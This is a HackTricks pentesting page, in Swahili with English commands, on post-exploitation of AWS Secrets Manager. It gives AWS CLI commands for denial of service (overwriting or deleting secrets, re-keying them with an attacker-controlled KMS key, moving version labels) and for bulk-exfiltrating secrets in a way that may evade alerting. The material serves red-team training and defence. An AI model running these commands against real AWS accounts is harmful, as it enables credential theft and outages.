AWS - Secrets Manager Post Exploitation

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Secrets Manager

For more information check:

AWS - Secrets Manager Enum

Soma Secrets

The Secrets zenyewe ni taarifa nyeti, angalia ukurasa wa privesc ili ujifunze jinsi ya kuvisoma.

DoS Badilisha Thamani ya secret

Kubadilisha thamani ya secret kunaweza kusababisha DoS kwa mifumo yote inayotegemea thamani hiyo.

warning

Kumbuka kwamba thamani za awali pia zinahifadhiwa, kwa hivyo ni rahisi kurudi tu kwenye thamani ya awali.

bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Iwapo mshambuliaji ana ruhusa secretsmanager:UpdateSecret, anaweza kusanidi secret itumie KMS key inayomilikiwa na mshambuliaji. Kifunguo hicho kimeanzishwa kwa njia kwamba mtu yeyote anaweza kuifikia na kuitumia, hivyo inawezekana kusasisha secret kwa kutumia key mpya. Ikiwa key haikuwa inapatikana, secret haingeweza kusasishwa.

Baada ya kubadilisha key ya secret, mshambuliaji anabadilisha usanidi wa key yao ili wao pekee waweze kuiingiza. Kwa njia hii, katika matoleo yafuatayo ya secret, itakuwa imesimbwa kwa key mpya, na kwa kuwa hakuna upatikanaji wa key hiyo, uwezo wa kupata secret utapotea.

Ni muhimu kutambua kwamba ukosefu huu wa upatikanaji utatokea tu katika matoleo ya baadaye, baada ya yaliyomo kwenye secret kubadilika, kwa sababu toleo la sasa bado limesimbwa kwa KMS key ya awali.

bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Kufuta Secret

Idadi ya chini ya siku za kufuta secret ni 7

bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Ni inawezekana kurejesha secret, jambo linaloruhusu kurejesha secrets ambazo zimepangwa kufutwa, kwa kuwa kipindi cha chini cha kufuta secrets ni siku 7 na cha juu ni siku 30. Pamoja na ruhusa secretsmanager:GetSecretValue, hili linawezesha kupata yaliyomo yao.

Ili kurejesha secret ambayo iko mchakato wa kufutwa, unaweza kutumia amri ifuatayo:

bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Kitendo hiki kinaruhusu kufuta resource policy inayodhibiti nani anaweza kupata secret. Hii inaweza kusababisha DoS ikiwa resource policy ilipangwa kuruhusu kupata kwa kundi maalum la watumiaji.

Ili kufuta resource policy:

bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Hali za siri zinatumika kusimamia matoleo ya siri. AWSCURRENT inaashiria toleo la aktifu ambalo applications zinatumia, AWSPREVIOUS huhifadhi toleo la awali ili uweze kurudi nyuma ikiwa ni lazima, na AWSPENDING inatumiwa katika mchakato wa mzunguko kuandaa na kuthibitisha toleo jipya kabla ya kulitangaza kuwa toleo la sasa.

Applications kila wakati husoma toleo lenye lebo AWSCURRENT. Ikiwa mtu atahamisha lebo hiyo kwa toleo lisilo sahihi, apps zitatumia sifa za kuingia zisizo sahihi na zinaweza kushindwa.

AWSPREVIOUS haitumiki moja kwa moja. Hata hivyo, ikiwa AWSCURRENT itaondolewa au kutolewa tena kwa njia isiyo sahihi, inaweza kuonekana kwamba kila kitu bado kinaendelea kwa toleo la awali.

bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (hadi 20 kwa kila mwito)

Dhulumu API ya Secrets Manager BatchGetSecretValue ili kupata hadi 20 secrets katika ombi moja. Hii inaweza kupunguza kwa kiasi kikubwa idadi ya wito za API ikilinganishwa na kurudia GetSecretValue kwa kila secret. Ikiwa filters zinatumika (tags/name), ruhusa ya ListSecrets pia inahitajika. CloudTrail bado inarekodi tukio moja la GetSecretValue kwa kila secret inayopatikana katika batch.

Ruhusa zinazohitajika

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue kwa kila secret inayolengwa
  • secretsmanager:ListSecrets endapo unatumia --filters
  • kms:Decrypt kwenye CMKs zinazotumika na secrets (ikiwa haujatumia aws/secretsmanager)

warning

Kumbuka kwamba ruhusa secretsmanager:BatchGetSecretValue haitoshi kupata secrets; pia unahitaji secretsmanager:GetSecretValue kwa kila secret unayotaka kupata.

Exfiltrate kwa orodha wazi

bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrate kwa kutumia vichujio (tag key/value au name prefix)

bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Kushughulikia kushindwa kwa sehemu

bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Athari

  • Haraka “smash-and-grab” ya secrets nyingi kwa kutumia API calls chache, ambayo inaweza kupitisha alerting iliyolengwa kwa kuongezeka kwa GetSecretValue.
  • CloudTrail logs bado zinajumuisha tukio moja la GetSecretValue kwa kila secret iliyopatikana na batch.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks